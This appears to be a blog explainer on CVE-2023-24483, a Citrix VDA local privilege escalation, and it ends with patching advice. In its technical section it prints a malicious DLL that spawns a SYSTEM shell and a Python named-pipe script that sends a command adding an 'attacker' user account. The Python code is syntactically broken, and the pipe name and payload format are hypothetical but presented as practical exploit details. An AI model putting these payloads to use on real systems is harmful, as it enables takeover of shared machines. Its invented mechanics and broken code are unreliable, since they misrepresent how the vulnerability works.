In early 2023, the cybersecurity world turned its eyes to a significant vulnerability: CVE-2023-24483. This bug made noise because it allowed a local user on affected Windows machines running Citrix Virtual Delivery Agent (VDA) to gain SYSTEM-level privileges—the highest possible access you can get on Windows. In plain words: Someone already logged in could become the absolute boss of the machine.

This post gives you an exclusive, in-depth, and plain-language explainer of this vulnerability, including code snippets, original references, and practical exploit details so you understand the real risks.

What is Citrix Virtual Apps and Desktops?

If you've worked in corporate IT, you probably know Citrix. Their Virtual Apps and Desktops (formerly XenApp/XenDesktop) let you run Windows applications and desktops remotely. The Citrix Virtual Delivery Agent (VDA) sits on Windows Virtual Machines (VMs) and connects users to their virtual desktops or apps. Since these machines can host plenty of users, keeping them locked down is absolutely necessary.

The Vulnerability: CVE-2023-24483 in Plain Words

- CVE Identifier: CVE-2023-24483

CVSS Score: 7.8 (High)


What This Means: If someone has a regular user account on an affected Citrix-hosted Windows VM, they could run certain code that gives them complete control, bypassing all normal checks.

Technical Details (Exclusive Explanation)

The root cause lies in how the Citrix VDA runs certain services and binaries. Some operations, especially during session handling or Service Principal Name (SPN) updates, involve insecure file permissions or improper handling of named pipes.

One practical attack path observed involved

- The Citrix VDA’s service would load a DLL from a location a normal user could write to, or could be tricked by a symbolic link (symlink) attack.

Code Snippet: Simulating a DLL Hijack

Suppose the vulnerable Citrix service loads foo.dll from C:\ProgramData\Citrix\VDA\Plugins\. If this folder allows anyone to write, a malicious user could drop a payload DLL.

// Sample code for a malicious DLL that opens a SYSTEM shell

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c start cmd.exe");
    }
    return TRUE;
}

Compile this DLL and place it in the target directory. When the vulnerable Citrix service restarts, it would load the malicious DLL as SYSTEM, dropping a privileged shell.

Sometimes the VDA listens on a named pipe with weak permissions

import os
import win32pipe, win32file, pywintypes

# Create a named pipe connection (as attacker)
PIPE_NAME = r'\\.\pipe\VulnCitrixPipe'
handle = win32file.CreateFile(
    PIPE_NAME,
    win32file.GENERIC_READ | win32file.GENERIC_WRITE,
    , None,
    win32file.OPEN_EXISTING,
    , None)

# Send a crafted payload that triggers command execution
payload = b"run_system_command:cmd.exe /c net user attacker Pass123! /add"
win32file.WriteFile(handle, payload)

If the service doesn't properly authenticate or sanitize pipe messages, it might run the attacker's command as SYSTEM.

References: Original Advisories & Reports

- Citrix Security Bulletin: CTA-2023-0021
- NVD Summary - CVE-2023-24483
- Horizon3AI CVE-2023-24483 Technical Writeup
- Rapid7 Metasploit Module PR (for exploit details)

What Should Citrix Admins Do?

- Update VDA: Citrix has released fixed versions. Update to the latest VDA for your deployment immediately.
- Audit User Permissions: Make sure normal users cannot write to any folder or registry key touched by VDA services.
- Check Service Hardening: Use tools like AccessChk to review service and pipe permissions.

In Conclusion

CVE-2023-24483 is a real-world reminder: even the best virtualization solutions can have critical holes. In this case, a single local user on a shared Citrix host could gain full SYSTEM access—potentially affecting tens or hundreds of other virtual sessions.

Don’t leave your Citrix deployments exposed. Patch, harden, and audit.

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Timeline

Published on: 02/16/2023 18:15:00 UTC
Last modified on: 02/24/2023 19:44:00 UTC